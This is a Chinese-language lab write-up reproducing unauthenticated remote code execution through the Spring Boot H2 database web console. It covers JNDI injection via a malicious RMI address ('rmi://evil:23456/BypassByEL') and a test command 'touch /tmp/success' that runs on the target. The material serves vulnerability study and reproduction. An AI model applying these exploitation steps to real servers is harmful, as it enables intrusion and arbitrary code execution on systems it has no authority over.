H2 数据库 Web 控制台未授权访问
H2 数据库是 Java 中的嵌入式内存数据库。带有 h2 数据库的 Springboot 带有一个 web 管理页面,如果您设置以下选项,则该页面没有身份验证:
1 | spring.h2.console.enabled=true |
该管理页面支持使用JNDI加载JDBC驱动,可以通过远程类加载实现远程代码执行。
参考:
漏洞复现
启动容器后,spring-boot正在监听http://192.168.44.132:8080
,管理页面http://192.168.44.132:8080/h2-console/
默认。
参考*在 Java 中利用 JNDI 注入*,我们应该在 Java 8u191 之后使用org.apache.naming.factory.BeanFactory
和javax.el.ELProcessor
启动外部进程:
1 | import java.rmi.registry.*; |
只需使用此工具*JNDI*即可利用该漏洞。首先,在config.properties
将目标命令设置为touch /tmp/success
:
然后开始JNDI-1.0-all.jar
,就是会听0.0.0.0:23456
。根据以下信息填写表格:
javax.naming.InitialContext
是 JNDI 工厂类名,URLrmi://evil:23456/BypassByEL
是恶意的 RMI 地址。
Evil RMI 服务器收到请求:
touch /tmp/success
已经成功执行: